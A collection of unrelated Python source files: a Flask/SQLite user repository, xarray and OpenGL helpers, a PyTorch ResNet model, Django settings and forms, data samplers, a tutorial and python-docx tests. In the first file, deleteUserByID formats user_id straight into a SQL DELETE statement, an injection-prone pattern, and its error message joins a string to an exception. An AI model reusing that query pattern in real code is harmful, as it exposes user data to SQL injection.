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from jhmanager.repo.database import SqlDatabase from datetime import date, time from flask import flash import sqlite3 class User: def __init__(self, db_fields): self.user_id = db_fields[0] self.username = db_fields[1] self.hash = db_fields[2] self.email = db_fields[3] self.date = db_fields[4] class UserRepository: def __init__(self, db): self.db = db def createUser(self, fields): cursor = self.db.cursor() command = """ INSERT INTO users (username, hash, email, date) VALUES (?, ?, ?, ?) """ result = cursor.execute(command, tuple(fields.values())) self.db.commit() return result.lastrowid def getUserByID(self, user_id): cursor = self.db.cursor() result = cursor.execute("SELECT * FROM users WHERE user_id=?", (user_id,)) self.db.commit() user_result = User(result.fetchone()) return user_result def getUserByUsername(self, username): cursor = self.db.cursor() result = cursor.execute("SELECT * FROM users WHERE username=?", (username,)) self.db.commit() return result.fetchone() def getUserByEmail(self, email): cursor = self.db.cursor() result = cursor.execute("SELECT * FROM users WHERE email=?", (email,)) self.db.commit() return result.fetchone() def updateUserEmailByID(self, fields): cursor = self.db.cursor() command = """ UPDATE users SET email = ? WHERE user_id = ? """ cursor.execute(command, tuple(fields.values())) self.db.commit() def updateUserHashByID(self, fields): cursor = self.db.cursor() command = """ UPDATE users SET hash = ? WHERE user_id = ? """ cursor.execute(command, tuple(fields.values())) self.db.commit() def deleteUserByID(self, user_id): message = "" try: cursor = self.db.cursor() command = "DELETE FROM users WHERE user_id = {}".format(user_id) cursor.execute(command) self.db.commit() message = "User details deleted successfully." except sqlite3.Error as error: message = "User details failed to delete. " + error finally: return message
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c0613b519124979d1de12614a9a7a745f9c9a66f
/xarray_leaflet/transform.py
8d1eb0ac19ca7d3304887c784e7dc8a224b59fd8
[ "MIT" ]
permissive
netgodz/xarray_leaflet
1cccb67251dd81817c6893f47a55989846d03062
d4c22781243e8e4900cd43a4479cfc932f68bdcf
refs/heads/master
2023-07-16T15:15:47.090465
2021-08-06T20:16:46
2021-08-07T06:20:38
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import warnings import numpy as np import xarray as xr def passthrough(array, *args, **kwargs): return array def normalize(array, *args, **kwargs): vmin = np.min(array).values vmax = np.max(array).values array = (array - vmin) / (vmax - vmin) return array def coarsen(agg_func=xr.core.rolling.DataArrayCoarsen.mean): def _(array, *args, **kwargs): tile_width = kwargs['tile_width'] tile_height = kwargs['tile_height'] if len(array.shape) > 2: # it's an RGB array array_2d = array.isel(rgb=0) else: array_2d = array ny, nx = array_2d.shape wx = nx // (tile_width * 2) wy = ny // (tile_height * 2) dim = {} if wx > 1: dim['x'] = wx if wy > 1: dim['y'] = wy array = array.coarsen(**dim, boundary='pad') # ignore "mean of empty slice" warning in np.nanmean with warnings.catch_warnings(): warnings.simplefilter("ignore", category=RuntimeWarning) array = agg_func(array) return array return _
171345562deab9b5d2ed7d77b42ef9ca9b3a89fe
9ce3385fb9829b70f191ea9478ebfe2dd4971c80
/render/imdraw/quad.py
896bbb74707bf37dfa00d1980753279e53e698b4
[]
no_license
zalavariandris/editor
f3ffce9ae2bbd70fd9e9ce1b9ce8fc7bb23468a3
35b8941af12da58bb190967c28a78c91d5bb43dc
refs/heads/master
2022-12-18T10:53:24.274321
2020-10-01T16:58:17
2020-10-01T16:58:17
283,721,461
1
0
null
null
null
null
UTF-8
Python
false
false
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from OpenGL.GL import * import numpy as np from .helpers import buffer_offset import logging import functools @functools.lru_cache(maxsize=128) def quad_geo(): positions = np.array( [(-1.0, +1.0, 0.0), (-1.0, -1.0, 0.0), (+1.0, +1.0, 0.0), (+1.0, -1.0, 0.0)], dtype=np.float32 ) uvs = np.array( [(0.0, 1.0), (0.0, 0.0), (1.0, 1.0), (1.0, 0.0)], dtype=np.float32 ) logging.debug("create quad geo") return positions, uvs @functools.lru_cache(maxsize=128) def create_buffer(program): positions, uvs = quad_geo() # setup VAO vao = glGenVertexArrays(1) pos_vbo, uv_vbo = glGenBuffers(2) # FIXME: use single vbo for positions and vertices glBindVertexArray(vao) position_location = glGetAttribLocation(program, 'position') if position_location >= 0: glBindBuffer(GL_ARRAY_BUFFER, pos_vbo) glBufferData(GL_ARRAY_BUFFER, positions.nbytes, positions, GL_STATIC_DRAW) glVertexAttribPointer(position_location, 3, GL_FLOAT, False, 0, buffer_offset(0)) glEnableVertexAttribArray(position_location) glBindBuffer(GL_ARRAY_BUFFER, 0) else: logging.warning("no 'position' attribute") uv_location = glGetAttribLocation(program, 'uv') if uv_location>=0: glBindBuffer(GL_ARRAY_BUFFER, uv_vbo) glBufferData(GL_ARRAY_BUFFER, uvs.nbytes, uvs, GL_STATIC_DRAW) glVertexAttribPointer(uv_location, 2, GL_FLOAT, False, 0, buffer_offset(0)) glEnableVertexAttribArray(uv_location) glBindBuffer(GL_ARRAY_BUFFER, 0) else: logging.warning("no 'uv' attribute") glBindVertexArray(0) logging.debug("create quad buffer: {}".format(vao)) return vao def quad(program): vao = create_buffer(program) # draw glBindVertexArray(vao) glDrawArrays(GL_TRIANGLE_STRIP, 0, 4) glBindVertexArray(0)
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# Get host and port from the environment. ELASTICSEARCH_ADDRESS = os.environ.get( 'ELASTICSEARCH_ADDRESS', 'localhost:9200') HAYSTACK_CONNECTIONS = { 'default': { 'ENGINE': 'haystack.backends.elasticsearch2_backend.Elasticsearch2SearchEngine', 'INDEX_NAME': 'haystack-%s' % PROJECT_SLUG, 'URL': 'http://%s/' % ELASTICSEARCH_ADDRESS, }, } HAYSTACK_SIGNAL_PROCESSOR = 'haystack.signals.BaseSignalProcessor' INSTALLED_APPS += ('haystack', )
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import torch.nn as nn import torch.utils.model_zoo as model_zoo import torch from torch.nn import functional as F models_urls = { '101_voc': 'https://cloudstor.aarnet.edu.au/plus/s/Owmttk9bdPROwc6/download', '18_imagenet': 'https://download.pytorch.org/models/resnet18-5c106cde.pth', '34_imagenet': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth', '50_imagenet': 'https://download.pytorch.org/models/resnet50-19c8e357.pth', '152_imagenet': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth', '101_imagenet': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth', } def maybe_download(model_name, model_url, model_dir=None, map_location=None): import os, sys from six.moves import urllib if model_dir is None: torch_home = os.path.expanduser(os.getenv('TORCH_HOME', '~/.torch')) model_dir = os.getenv('TORCH_MODEL_ZOO', os.path.join(torch_home, 'models')) if not os.path.exists(model_dir): os.makedirs(model_dir) filename = '{}.pth.tar'.format(model_name) cached_file = os.path.join(model_dir, filename) if not os.path.exists(cached_file): url = model_url sys.stderr.write('Downloading: "{}" to {}\n'.format(url, cached_file)) urllib.request.urlretrieve(url, cached_file) return torch.load(cached_file, map_location=map_location) def conv3x3(in_planes, out_planes, stride=1): """3x3 convolution with padding""" return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=1, bias=False) def conv1x1(in_planes, out_planes, stride=1): """1x1 convolution""" return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False) def conv3x3_bn(in_channel, out_channel): return nn.Sequential(nn.Conv2d(in_channel, out_channel, kernel_size=3, stride=1, padding=1, bias=False), nn.ReLU(inplace=True)) class MultiResolutionFuse(nn.Module): def __init__(self, in_size, out_size): super(MultiResolutionFuse, self).__init__() self.in_size=in_size self.out_size=out_size self.conv = nn.Conv2d(in_size, out_size, kernel_size=1, stride=1, bias=False) def forward(self, input_low, input_high): high_size = input_high.size()[2:] # low channel usually > high channel if self.in_size != self.out_size: input_low = self.conv(input_low) upsample_low = F.upsample(input_low, high_size, mode='bilinear') cat = torch.cat([upsample_low, input_high], dim=1) return cat class BasicBlock(nn.Module): expansion = 1 def __init__(self, inplanes, planes, stride=1, downsample=None): super(BasicBlock, self).__init__() self.conv1 = conv3x3(inplanes, planes, stride) self.bn1 = nn.BatchNorm2d(planes) self.relu = nn.ReLU(inplace=True) self.conv2 = conv3x3(planes, planes) self.bn2 = nn.BatchNorm2d(planes) self.downsample = downsample self.stride = stride def forward(self, x): identity = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) if self.downsample is not None: identity = self.downsample(x) out += identity out = self.relu(out) return out class Bottleneck(nn.Module): expansion = 4 def __init__(self, inplanes, planes, stride=1, downsample=None): super(Bottleneck, self).__init__() self.conv1 = conv1x1(inplanes, planes) self.bn1 = nn.BatchNorm2d(planes) self.conv2 = conv3x3(planes, planes, stride) self.bn2 = nn.BatchNorm2d(planes) self.conv3 = conv1x1(planes, planes * self.expansion) self.bn3 = nn.BatchNorm2d(planes * self.expansion) self.relu = nn.ReLU(inplace=True) self.downsample = downsample self.stride = stride def forward(self, x): identity = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) out = self.relu(out) out = self.conv3(out) out = self.bn3(out) if self.downsample is not None: identity = self.downsample(x) out += identity out = self.relu(out) return out class RefineBlock(nn.Module): def __init__(self, in_channel): super(RefineBlock, self).__init__() self.c1 = nn.Conv2d(in_channel, 512,kernel_size=1, stride=1, padding=0, bias=False) self.c3_1 = nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1, bias=False) self.bn = nn.BatchNorm2d(512) self.relu = nn.ReLU(inplace=True) self.c3_2 = nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1, bias=False) def forward(self, x): x1 = self.c1(x) x = self.c3_1(x1) x = self.bn(x) x = self.relu(x) x = self.c3_2(x) out = x1 + x return out # only refine block, no FPA class MV2_base_0_ResNet(nn.Module): def __init__(self, block, layers, num_classes=1000): super(MV2_base_0_ResNet, self).__init__() self.inplanes = 64 self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.rb1_1 = RefineBlock(256) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.rb2_1 = RefineBlock(512) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.rb3_1 = RefineBlock(1024) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) self.rb4_1 = RefineBlock(2048) # self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) # self.fc = nn.Linear(512 * block.expansion, num_classes) # only for >=res50 # self.fpa=FPA(2048,512) # self.fpa = FPA(512, 512) # self.rb4_2 = RefineBlock(512 * 4) self.fuse43 = MultiResolutionFuse(512, 512) # self.post_proc43 = conv3x3_bn(512*2,512) self.rb3_2 = RefineBlock(512 * 2) self.fuse32 = MultiResolutionFuse(512, 512) self.rb2_2 = RefineBlock(512 * 2) # self.post_proc32 = conv3x3_bn(512) self.fuse21 = MultiResolutionFuse(512, 512) self.rb1_2 = RefineBlock(512 * 2) # self.post_proc21 = conv3x3_bn(512) self.class_conv = nn.Conv2d(512, num_classes, kernel_size=3, stride=1, padding=1, bias=True) def _make_layer(self, block, planes, blocks, stride=1): downsample = None if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( conv1x1(self.inplanes, planes * block.expansion, stride), nn.BatchNorm2d(planes * block.expansion), ) layers = [] layers.append(block(self.inplanes, planes, stride, downsample)) self.inplanes = planes * block.expansion for _ in range(1, blocks): layers.append(block(self.inplanes, planes)) return nn.Sequential(*layers) def forward(self, x): ori_size = x.size()[2:] x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) l1 = self.layer1(x) l2 = self.layer2(l1) l3 = self.layer3(l2) l4 = self.layer4(l3) l1 = self.rb1_1(l1) l2 = self.rb2_1(l2) l3 = self.rb3_1(l3) l4 = self.rb4_1(l4) # l4 = self.fpa(l4) # l4=self.rb4_2(l4) x_fuse43 = self.fuse43(l4, l3) x_fuse43=self.rb3_2(x_fuse43) x_fuse32 = self.fuse32(x_fuse43, l2) x_fuse32=self.rb2_2(x_fuse32) x_fuse21 = self.fuse21(x_fuse32, l1) x_fuse21=self.rb1_2(x_fuse21) x = self.class_conv(x_fuse21) x = F.upsample(x, ori_size, mode='bilinear') return x def MV2_base_0_ResNet18(num_classes, pretrained=False, **kwargs): """Constructs a MV1_ResNet-18 model. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet """ model = MV2_base_0_ResNet(BasicBlock, [2, 2, 2, 2], **kwargs, num_classes=num_classes) if pretrained: key = '18_imagenet' url = models_urls[key] model.load_state_dict(maybe_download(key, url), strict=False) return model def MV2_base_0_ResNet34(num_classes, pretrained=False, **kwargs): """Constructs a MV1_ResNet-34 model. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet """ model = MV2_base_0_ResNet(BasicBlock, [3, 4, 6, 3], **kwargs, num_classes=num_classes) if pretrained: key = '34_imagenet' url = models_urls[key] model.load_state_dict(maybe_download(key, url), strict=False) return model def MV2_base_0_ResNet50(num_classes, pretrained=True, **kwargs): """Constructs a MV1_ResNet-50 model. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet """ model = MV2_base_0_ResNet(Bottleneck, [3, 4, 6, 3], **kwargs, num_classes=num_classes) if pretrained: key = '50_imagenet' url = models_urls[key] model.load_state_dict(maybe_download(key, url), strict=False) print("load imagenet res50") return model def MV2_base_0_ResNet101(num_classes, pretrained=False, **kwargs): """Constructs a MV1_ResNet-101 model. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet """ model = MV2_base_0_ResNet(Bottleneck, [3, 4, 23, 3], **kwargs, num_classes=num_classes) if pretrained: key = '101_imagenet' url = models_urls[key] model.load_state_dict(maybe_download(key, url), strict=False) return model def MV2_base_0_ResNet152(num_classes, pretrained=False, **kwargs): """Constructs a MV1_ResNet-152 model. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet """ model = MV2_base_0_ResNet(Bottleneck, [3, 8, 36, 3], **kwargs, num_classes=num_classes) if pretrained: key = '152_imagenet' url = models_urls[key] model.load_state_dict(maybe_download(key, url), strict=False) return model
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import os from functools import partial from .vendor import sqlitedict, appdir from glycresoft_sqlalchemy.report import colors from glycresoft_sqlalchemy.structure.data import unimod dirs = appdir.AppDirs("GlycReSoft", "Zaia Lab", "1.0", roaming=True) pjoin = os.path.join data_directory = dirs.user_data_dir cache_directory = dirs.user_cache_dir if not os.path.exists(data_directory): os.makedirs(data_directory) try: invalidation_errors = [OSError, WindowsError] except: invalidation_errors = [OSError] class ResourcePath(str): valid = True def invalidate(self): self.valid = False def validate(self): if not self.valid: if self.exists: self.remove() def remove(self): try: os.remove(self) except invalidation_errors: pass @property def exists(self): return os.path.exists(self) class Resource(object): def __init__(self, name, path, **kwargs): self.name = name self.path = ResourcePath(path) self.held = kwargs.get('held', False) self.owners = kwargs.get('owners', set()) self.ready = kwargs.get("ready", False) def __str__(self): return self.path def __repr__(self): return "Resource(name=%r, path=%r)" def acquired(self, owner): if owner not in self.owners: self.owners.add(owner) def release(self, owner): if owner not in self.owners: raise ValueError("%r is not a valid owner" % owner) self.owners.remove(owner) if len(self.owners) == 0: self.held = False display_store = ResourcePath(pjoin(data_directory, "display_store.db")) unimod_store = ResourcePath(pjoin(data_directory, "unimod.db")) glycomedb_store = ResourcePath(pjoin(data_directory, "glycome-db.db")) glycomedb_download_cache = ResourcePath(pjoin(data_directory, "glycome-db-download-cache")) taxonomylite_store = ResourcePath(pjoin(data_directory, "taxonomylite.db")) def make_absolute_sqlite_sqlalchemy_uri(path): return "sqlite:///%s" % path def configure_color_store(): '''Use a disk-based data-store to persist color assignments ''' color_map = colors._color_mapper.color_name_map cmap = sqlitedict.open(display_store, "colors", autocommit=True) cmap.update(color_map) colors._color_mapper.color_name_map = cmap configure_color_store() unimod.load = partial(unimod.load, make_absolute_sqlite_sqlalchemy_uri(unimod_store))
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# Logical Operators in Python :- # Identity # Membership Truth table and , or , not x y o/p 0 0 0 0 1 0 1 0 0 1 1 1 ex:- x = 100 y = 200 print(x<y and y>x) print(x<y and y<x) OR Truth Table x y o/p 0 0 0 0 1 1 1 0 1 1 1 1 Ex :- x = 1001 y = 200 print(x<y or x>y) x = True print(not(x)) EX :- x = 100 y = 200 print(x<y) print(not(x<y)) # Identity Operator :- is , is not x = 100 #y = 200 y = 100 print(x is y) print(x is y) print(id(x)) print(id(y)) x = 100 y = 200 print(x is not y) print(id(x)) print(id(y)) # Membership Operators :- in , not in l1 = [10,20,30,'Python','Surya'] print('Python' in l1) print(1001 not in l1) print('Apple' in l1)
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import math import torch from torch.utils.data import Sampler import torch.distributed as dist import numpy as np def get_valid_starts_and_ends(get_frame_arguments: np.ndarray, min_state_index: int = 0): get_frame_arguments = get_frame_arguments[:] # put on the memory if the array is zarr scene_change_points = np.where(np.diff(get_frame_arguments[:, 1], 1) > 0)[0] + 1 starts = np.r_[0, scene_change_points] ends = np.r_[scene_change_points, len(get_frame_arguments)] valid_starts, valid_ends = [], [] while len(starts) > 0: ok = get_frame_arguments[starts, 2] >= min_state_index valid_starts.append(starts[ok]) valid_ends.append(ends[ok]) starts, ends = starts[~ok], ends[~ok] starts += 1 ok = starts < ends starts, ends = starts[ok], ends[ok] return np.concatenate(valid_starts), np.concatenate(valid_ends) class SceneSampler(Sampler): def __init__(self, get_frame_arguments: np.ndarray, min_state_index: int = 0) -> None: self.starts, self.ends = get_valid_starts_and_ends(get_frame_arguments, min_state_index) def __len__(self) -> int: return len(self.starts) def __iter__(self): indices = np.random.permutation(len(self.starts)) return iter(np.random.randint(self.starts[indices], self.ends[indices])) class DistributedSceneSampler(Sampler): def __init__( self, get_frame_arguments: np.ndarray, min_state_index: int = 0, num_replicas=None, rank=None, shuffle=True, seed=0 ) -> None: if num_replicas is None: if not dist.is_available(): raise RuntimeError("Requires distributed package to be available") num_replicas = dist.get_world_size() if rank is None: if not dist.is_available(): raise RuntimeError("Requires distributed package to be available") rank = dist.get_rank() self.starts, self.ends = get_valid_starts_and_ends(get_frame_arguments, min_state_index) self.num_replicas = num_replicas self.rank = rank self.epoch = 0 self.num_samples = int(math.ceil(len(self.starts) * 1.0 / self.num_replicas)) self.total_size = self.num_samples * self.num_replicas self.shuffle = shuffle self.seed = seed def __iter__(self): if self.shuffle: # deterministically shuffle based on epoch and seed g = torch.Generator() g.manual_seed(self.seed + self.epoch) indices = torch.randperm(len(self.starts), generator=g).tolist() else: indices = list(range(len(self.starts))) # add extra samples to make it evenly divisible indices += indices[:(self.total_size - len(indices))] assert len(indices) == self.total_size # subsample indices = indices[self.rank:self.total_size:self.num_replicas] assert len(indices) == self.num_samples return iter(np.random.randint(self.starts[indices], self.ends[indices])) def __len__(self): return self.num_samples def set_epoch(self, epoch): r""" Sets the epoch for this sampler. When :attr:`shuffle=True`, this ensures all replicas use a different random ordering for each epoch. Otherwise, the next iteration of this sampler will yield the same ordering. Arguments: epoch (int): Epoch number. """ self.epoch = epoch
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"""eml-window-function: Generating C code for window functions Part of the emlearn project: https://emlearn.org Redistributable under the MIT license """ import argparse import textwrap from .. import cgen # Supports everything without parameters in scipy.signal.get_window _known = 'boxcar, triang, blackman, hamming, hann, bartlett, flattop, parzen, bohman, blackmanharris, nuttall, barthann' known_window_types = tuple(_known.split(', ')) def parse(args=None): parser = argparse.ArgumentParser(description='Generate lookup table for window functions') a = parser.add_argument a('--window', type=str, default='hann', help='Window function to use. Supported: \n' + '|'.join(known_window_types)) a('--length', type=int, default=1024, help='Number of coefficients in window') a('--symmetric', default=False, action='store_true', help='Whether to use a symmetric window. Defaults to False, normal for FFT') a('--name', type=str, default='', help='Name of the generate C array') a('--out', type=str, default='', help='Output file. Default: $name.h') a('--linewrap', type=int, default=70, help='Maximum width of lines') parsed = parser.parse_args(args) return parsed def window_function(name, window_type, length, fft_mode, linewrap): import scipy.signal window = scipy.signal.get_window(window_type, length, fftbins=fft_mode) gen = cgen.array_declare(name, length, values=window) w = textwrap.wrap(gen, linewrap) wrapped = '\n'.join(w) return wrapped def main(): args = parse() window_type = args.window length = args.length fft_mode = not args.symmetric name = args.name out = args.out if not name: name = '_'.join([window_type, str(length), 'lut']) if not out: out = name+'.h' if window_type not in known_window_types: print('Warning: Unknown window type {}. Known:\n {}'.format(window_type, known_window_types)) preamble = '// This file was generated with emlearn using eml-window-function\n\n' wrapped = window_function(name, window_type, length, fft_mode, args.linewrap) wrapped = preamble + wrapped with open(out, 'w') as f: f.write(wrapped) print('Wrote to', out) if __name__ == '__main__': main()
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class TreeNode(object): def __init__(self, x, left=None, right=None): self.val = x self.left = left self.right = right
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# encoding: utf-8 """ Test suite for the docx.api module """ from __future__ import ( absolute_import, division, print_function, unicode_literals ) import pytest from docx.api import Document from docx.enum.text import WD_BREAK from docx.opc.constants import CONTENT_TYPE as CT, RELATIONSHIP_TYPE as RT from docx.package import Package from docx.parts.document import DocumentPart, InlineShapes from docx.parts.numbering import NumberingPart from docx.parts.styles import StylesPart from docx.table import Table from docx.text import Paragraph, Run from .unitutil import ( instance_mock, class_mock, method_mock, property_mock, var_mock ) class DescribeDocument(object): def it_opens_a_docx_on_construction(self, init_fixture): docx_, open_ = init_fixture document = Document(docx_) open_.assert_called_once_with(docx_) assert isinstance(document, Document) def it_can_open_a_docx_file(self, open_fixture): docx_, Package_, package_, document_part_ = open_fixture document_part, package = Document._open(docx_) Package_.open.assert_called_once_with(docx_) assert document_part is document_part assert package is package_ def it_opens_default_template_if_no_file_provided( self, Package_, default_docx_): Document._open(None) Package_.open.assert_called_once_with(default_docx_) def it_should_raise_if_not_a_Word_file(self, Package_, package_, docx_): package_.main_document.content_type = 'foobar' with pytest.raises(ValueError): Document._open(docx_) def it_can_add_a_heading(self, add_heading_fixture): document, add_paragraph_, p_, text, level, style = add_heading_fixture p = document.add_heading(text, level) add_paragraph_.assert_called_once_with(text, style) assert p is p_ def it_should_raise_on_heading_level_out_of_range(self, document): with pytest.raises(ValueError): document.add_heading(level=-1) with pytest.raises(ValueError): document.add_heading(level=10) def it_can_add_an_empty_paragraph(self, add_empty_paragraph_fixture): document, document_part_, p_ = add_empty_paragraph_fixture p = document.add_paragraph() document_part_.add_paragraph.assert_called_once_with() assert p is p_ def it_can_add_a_paragraph_of_text(self, add_text_paragraph_fixture): document, text, p_, r_ = add_text_paragraph_fixture p = document.add_paragraph(text) p.add_run.assert_called_once_with() r_.add_text.assert_called_once_with(text) def it_can_add_a_styled_paragraph(self, add_styled_paragraph_fixture): document, style, p_ = add_styled_paragraph_fixture p = document.add_paragraph(style=style) assert p.style == style def it_can_add_a_page_break(self, add_page_break_fixture): document, document_part_, p_, r_ = add_page_break_fixture p = document.add_page_break() document_part_.add_paragraph.assert_called_once_with() p_.add_run.assert_called_once_with() r_.add_break.assert_called_once_with(WD_BREAK.PAGE) assert p is p_ def it_can_add_a_picture(self, add_picture_fixture): (document, image_path, width, height, inline_shapes_, expected_width, expected_height, picture_) = add_picture_fixture picture = document.add_picture(image_path, width, height) inline_shapes_.add_picture.assert_called_once_with(image_path) assert picture.width == expected_width assert picture.height == expected_height assert picture is picture_ def it_can_add_a_table(self, add_table_fixture): document, rows, cols, style, document_part_, expected_style, table_ = ( add_table_fixture ) table = document.add_table(rows, cols, style) document_part_.add_table.assert_called_once_with(rows, cols) assert table.style == expected_style assert table == table_ def it_provides_access_to_the_document_inline_shapes(self, document): body = document.inline_shapes assert body is document._document_part.inline_shapes def it_provides_access_to_the_document_paragraphs( self, paragraphs_fixture): document, paragraphs_ = paragraphs_fixture paragraphs = document.paragraphs assert paragraphs is paragraphs_ def it_provides_access_to_the_document_tables(self, tables_fixture): document, tables_ = tables_fixture tables = document.tables assert tables is tables_ def it_can_save_the_package(self, save_fixture): document, package_, file_ = save_fixture document.save(file_) package_.save.assert_called_once_with(file_) def it_provides_access_to_the_numbering_part(self, num_part_get_fixture): document, document_part_, numbering_part_ = num_part_get_fixture numbering_part = document.numbering_part document_part_.part_related_by.assert_called_once_with(RT.NUMBERING) assert numbering_part is numbering_part_ def it_creates_numbering_part_on_first_access_if_not_present( self, num_part_create_fixture): document, NumberingPart_, document_part_, numbering_part_ = ( num_part_create_fixture ) numbering_part = document.numbering_part NumberingPart_.new.assert_called_once_with() document_part_.relate_to.assert_called_once_with( numbering_part_, RT.NUMBERING ) assert numbering_part is numbering_part_ def it_provides_access_to_the_styles_part(self, styles_part_get_fixture): document, document_part_, styles_part_ = styles_part_get_fixture styles_part = document.styles_part document_part_.part_related_by.assert_called_once_with(RT.STYLES) assert styles_part is styles_part_ def it_creates_styles_part_on_first_access_if_not_present( self, styles_part_create_fixture): document, StylesPart_, document_part_, styles_part_ = ( styles_part_create_fixture ) styles_part = document.styles_part StylesPart_.new.assert_called_once_with() document_part_.relate_to.assert_called_once_with( styles_part_, RT.STYLES ) assert styles_part is styles_part_ # fixtures ------------------------------------------------------- @pytest.fixture(params=[0, 1, 2, 5, 9]) def add_heading_fixture(self, request, document, add_paragraph_, p_): level = request.param text = 'Spam vs. Bacon' style = 'Title' if level == 0 else 'Heading%d' % level return document, add_paragraph_, p_, text, level, style @pytest.fixture def add_empty_paragraph_fixture(self, document, document_part_, p_): return document, document_part_, p_ @pytest.fixture def add_page_break_fixture(self, document, document_part_, p_, r_): return document, document_part_, p_, r_ @pytest.fixture def add_paragraph_(self, request, p_): return method_mock( request, Document, 'add_paragraph', return_value=p_ ) @pytest.fixture(params=[ (None, None, 200, 100), (1000, 500, 1000, 500), (2000, None, 2000, 1000), (None, 2000, 4000, 2000), ]) def add_picture_fixture( self, request, Document_inline_shapes_, inline_shapes_): width, height, expected_width, expected_height = request.param document = Document() image_path_ = instance_mock(request, str, name='image_path_') picture_ = inline_shapes_.add_picture.return_value picture_.width, picture_.height = 200, 100 return ( document, image_path_, width, height, inline_shapes_, expected_width, expected_height, picture_ ) @pytest.fixture def add_styled_paragraph_fixture(self, document, p_): style = 'foobaresque' return document, style, p_ @pytest.fixture(params=[None, 'LightShading-Accent1', 'foobar']) def add_table_fixture(self, request, document, document_part_, table_): rows, cols = 4, 2 style = expected_style = request.param return ( document, rows, cols, style, document_part_, expected_style, table_ ) @pytest.fixture def add_text_paragraph_fixture(self, document, p_, r_): text = 'foobar\rbarfoo' return document, text, p_, r_ @pytest.fixture def default_docx_(self, request): return var_mock(request, 'docx.api._default_docx_path') @pytest.fixture def Document_inline_shapes_(self, request, inline_shapes_): return property_mock( request, Document, 'inline_shapes', return_value=inline_shapes_ ) @pytest.fixture def document(self, open_): return Document() @pytest.fixture def document_part_(self, request, p_, paragraphs_, table_, tables_): document_part_ = instance_mock( request, DocumentPart, content_type=CT.WML_DOCUMENT_MAIN ) document_part_.add_paragraph.return_value = p_ document_part_.add_table.return_value = table_ document_part_.paragraphs = paragraphs_ document_part_.tables = tables_ return document_part_ @pytest.fixture def docx_(self, request): return instance_mock(request, str) @pytest.fixture def init_fixture(self, docx_, open_): return docx_, open_ @pytest.fixture def inline_shapes_(self, request): return instance_mock(request, InlineShapes) @pytest.fixture def num_part_create_fixture( self, document, NumberingPart_, document_part_, numbering_part_): document_part_.part_related_by.side_effect = KeyError return document, NumberingPart_, document_part_, numbering_part_ @pytest.fixture def num_part_get_fixture(self, document, document_part_, numbering_part_): document_part_.part_related_by.return_value = numbering_part_ return document, document_part_, numbering_part_ @pytest.fixture def NumberingPart_(self, request, numbering_part_): NumberingPart_ = class_mock(request, 'docx.api.NumberingPart') NumberingPart_.new.return_value = numbering_part_ return NumberingPart_ @pytest.fixture def numbering_part_(self, request): return instance_mock(request, NumberingPart) @pytest.fixture def open_(self, request, document_part_, package_): return method_mock( request, Document, '_open', return_value=(document_part_, package_) ) @pytest.fixture def open_fixture(self, docx_, Package_, package_, document_part_): return docx_, Package_, package_, document_part_ @pytest.fixture def p_(self, request, r_): p_ = instance_mock(request, Paragraph) p_.add_run.return_value = r_ return p_ @pytest.fixture def Package_(self, request, package_): Package_ = class_mock(request, 'docx.api.Package') Package_.open.return_value = package_ return Package_ @pytest.fixture def package_(self, request, document_part_): package_ = instance_mock(request, Package) package_.main_document = document_part_ return package_ @pytest.fixture def paragraphs_(self, request): return instance_mock(request, list) @pytest.fixture def paragraphs_fixture(self, document, paragraphs_): return document, paragraphs_ @pytest.fixture def r_(self, request): return instance_mock(request, Run) @pytest.fixture def save_fixture(self, request, open_, package_): file_ = instance_mock(request, str) document = Document() return document, package_, file_ @pytest.fixture def StylesPart_(self, request, styles_part_): StylesPart_ = class_mock(request, 'docx.api.StylesPart') StylesPart_.new.return_value = styles_part_ return StylesPart_ @pytest.fixture def styles_part_(self, request): return instance_mock(request, StylesPart) @pytest.fixture def styles_part_create_fixture( self, document, StylesPart_, document_part_, styles_part_): document_part_.part_related_by.side_effect = KeyError return document, StylesPart_, document_part_, styles_part_ @pytest.fixture def styles_part_get_fixture(self, document, document_part_, styles_part_): document_part_.part_related_by.return_value = styles_part_ return document, document_part_, styles_part_ @pytest.fixture def table_(self, request): return instance_mock(request, Table, style=None) @pytest.fixture def tables_(self, request): return instance_mock(request, list) @pytest.fixture def tables_fixture(self, document, tables_): return document, tables_
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/first_forms/apps/forms/forms.py
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from django import forms from .models import User class RegistrationForm(forms.Form): first_name = forms.CharField(max_length=45) last_name = forms.CharField(max_length=45) email = forms.EmailField() password = forms.CharField(max_length=100, widget=forms.PasswordInput) confirm_password = forms.CharField(max_length=100, widget=forms.PasswordInput) class RegisterForm(forms.ModelForm): class Meta: model = User fields = '__all__'
